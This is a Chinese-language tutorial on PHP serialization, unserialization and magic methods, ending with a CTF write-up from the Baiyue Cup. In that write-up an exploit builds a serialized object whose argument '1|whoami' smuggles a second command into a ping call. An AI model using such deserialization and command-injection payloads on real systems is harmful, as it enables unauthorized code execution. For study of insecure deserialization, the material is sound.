0x01序列化与反序列化概述
PHP序列化是将一个对象、数组、字符串等转化为字节流便于传输
PHP反序列化是将序列化之后的字节流还原成对象、字符、数组等。但是PHP序列化是不会保存对象的方法。
0x02 magic魔术方法总结
PHP面向对象变成中,有一类函数叫做magic function,魔术函数,这些函数是以__(双下划线)开头的,他们是一些当依照某些规则实例化类或者调用某些函数的时候会自动调用这些magic函数,这里说一下比较常见的例如__construct,__destory,
__sleep,__wakeup,__toString函数。
__contstruct()函数:被称为构造函数,当实例化类的时候会自动调用该函数构造函数,即当对象创建new时会自动调用。但在反序列化时不会自动调用
__destruct()函数:被称为析构函数,当类结束(对象销毁)的时候自动调用该函数
__sleep()函数:当PHP进行序列化操作(serialize)的时候自动调用该函数,可以用于清理对象,并返回一个包含对象中所有应被序列化的变量名称的数组。如果该方法未返回任何内容,则 NULL 被序列化,并产生一个 E_NOTICE 级别的错误。
__wakeup()函数:进行反序列化(unserialize)的时候自动调用
__toString()函数:当对象被当做字符串的时候会自动调用该函数
<?PHP
class Test
{
public $name;
public function __construct($name)
{
$this->name = $name;
}
public function __toString() {
return $this->name;
}
}
$a = new Test('Tom');
echo $a;
?>
输出为Tom
0x03 serialize()与 unserialize()
<?PHP
class Test
{
public $name = 'Tom';
}
$a = new Test;
$aa = serialize($a);
print($aa)
?>
输出结果为
O:4:"Test":1:{s:4:"name";s:3:"Tom";}
O代表object,4代表对象名字为4个字符,Test是名称,1代表一个变量,大括号内的s代表类型为字符串类型,string。同理其他数字代表字符数。
<?PHP
class Test{
public $name = 'Tom';
}
$name = 'O:4:"Test":1:{s:4:"name";s:3:"Tom";}';
print($name);
echo "</br>";
$name_new = unserialize($name);
print_r($name_new);
?>
输出结果:
O:4:“Test”:1:{s:4:“name”;s:3:“Tom”;}
Test Object ( [name] => Tom )
0x04 百越杯中的一道反序列
<?PHP
class test{
private $method;
private $args;
function __construct($method, $args) {
$this->method = $method;
$this->args = $args;
}
function __destruct(){
if (in_array($this->method, array("ping"))) {
call_user_func_array(array($this, $this->method), $this->args);
}
}
function ping($host){
system("ping -c 2 $host");
}
function waf($str){
$str=str_replace(' ','',$str);
return $str;
}
function __wakeup(){
foreach($this->args as $k => $v) {
$this->args[$k] = $this->waf(trim(MysqL_escape_string($v)));
}
}
}
$method参数传入的是ping命令,接着通过ping本机执行sysyem命令system("ping -c 2 $host")
,通过改变$host参数,而我们可以构造命令host
ping完后利用“|”管道符执行whoami命令,如下所示。
exp
$cmd = new test("ping",array("1|whoami"));
$a = serialize($cmd);
print_r($a);
serialize($a);
版权声明:本文内容由互联网用户自发贡献,该文观点与技术仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 dio@foxmail.com 举报,一经查实,本站将立刻删除。